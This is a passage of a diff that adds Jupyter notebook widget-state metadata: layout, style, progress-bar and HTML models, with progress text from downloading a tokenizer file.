+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "76a37f30e9004067b8ba520191d64ac0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_af0a3bf66e8e433db1bea3b41a0c052a",
+            "max": 445,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_9075203ea622474883993bb09cb2636c",
+            "value": 445
+          }
+        },
+        "7a2e3aab0a244cf099002a6064b5ce42": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f58b27200af24c2eb76751b0bff84928",
+              "IPY_MODEL_484c18d0f13148efa47e68dca92cfb48",
+              "IPY_MODEL_60e84d9d72e94db9840aa03c7f15e3c3"
+            ],
+            "layout": "IPY_MODEL_65c7d970eca34f99a47528163a57b246"
+          }
+        },
+        "7dc9b79e3ad74651ae3f6449a8b968f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7fe5d5638c0c424e94cc8733fd79f5ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_dfa636e1fb524cf2ae3d6693fd128084",
+              "IPY_MODEL_c4f1648bca844b0ba790a5990ae2170c",
+              "IPY_MODEL_592bbbcf2fd14ed882f9a0adb56a57a3"
+            ],
+            "layout": "IPY_MODEL_8f363594b80e487494d0855f9ddde030"
+          }
+        },
+        "8005f31a31ed48d8b1a3e912b3aed139": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "82f6ec4e9743477c909d6ef734c06808": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "872540ef74d6459a99e4647d2a643176": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4dd5e64fe44c495d8d8d912f0ac06b82",
+            "max": 711396,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3b88701571a342b0abea71a105fed88b",
+            "value": 711396
+          }
+        },
+        "877898b8398541e3b9909a3a372cad14": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "878c5cc4315443018704910dcf37f154": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "88243d6adfd04c9faa5732bafc1ae615": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4289a56219ec41acaafdb60d3b7d1360",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8005f31a31ed48d8b1a3e912b3aed139",
+            "value": " 592/592 [00:00&lt;00:00, 35.5kB/s]"
+          }
+        },
+        "89e75ba649f948e0aa1d458b9800b480": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "8a6fad1603b6410eba545e462adb3096": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_30944ee9722c4e4da3b23a635a2e561f",
+              "IPY_MODEL_b654f414cfe04f9a9777b076349199f6",
+              "IPY_MODEL_bcb584c47d2e430f8d0ff7db81619909"
+            ],
+            "layout": "IPY_MODEL_9d049ae4478447afb76756aa2eefab5a"
+          }
+        },
+        "8a7d1c368a9548d0aecb6564d7aa1bb7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8b64a23dfc724928a5d23c904dc1595f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0324f20083ee42268aac2e7dce294907",
+              "IPY_MODEL_228cbb4147cb4fcdb21866278e8f218c",
+              "IPY_MODEL_88243d6adfd04c9faa5732bafc1ae615"
+            ],
+            "layout": "IPY_MODEL_dad6452f3a87437fbf6b691f56614711"
+          }
+        },
+        "8c5762e71db644cfac50336e5de12ec6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8cc8a9d55c2546bcaabead9c8dc2ed09": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8f1974332d694edd968fe5bb9ecba070": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8f363594b80e487494d0855f9ddde030": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9075203ea622474883993bb09cb2636c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "92d4a3333635430a88cdc38ed8158f49": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "945160da858a439d90de50ffd671396a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "946e33fee00f4c2aac6406ffe83c419c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "96332b8765b3472c9f6a43626e8a5bb3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "96f6b9783cb24579a96e96edb4e9acd9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9d049ae4478447afb76756aa2eefab5a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9d9e48cd4d5f4a0c97d7f13d6e727c09": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9f16f63600454da5afdef84ef5afd59d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a4ae31365e3c4370bc2f7e7ce7fe27f9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a5506cc4b437400cbfff631c20110891": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a5a8f2b461064eecad9cefa57eb89423": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a97a2a99008f4ac6be1d6377d04504fa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b217d9ea08a14ff49d274fc2aea760f8",
+              "IPY_MODEL_d500132d4c434179975a124e00c4cec3",
+              "IPY_MODEL_312d2d503a0f47278b47c03ddef6109f"
+            ],
+            "layout": "IPY_MODEL_1edf085b64f24088bd70a6a6954c8156"
+          }
+        },
+        "acf34873eae8493fbf953b1a8a65e177": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_602461cd7b5c471394ee2920b067a8f6",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c163abebb6434568ac10621f99dee880",
+            "value": "Downloading (…)/main/tokenizer.json: 100%"
+          }
+        },
+        "af0a3bf66e8e433db1bea3b41a0c052a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b0dba09b02f142c485ce94ba887132b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_65c79edaf8f844979f6d2cfdbded70e8",
+            "max": 503,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_cc2dc3160f074fd8a457dcde77cfbc2b",
+            "value": 503
+          }
+        },
+        "b11a5cb28f474ba9bd6dc98f5772fcda": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
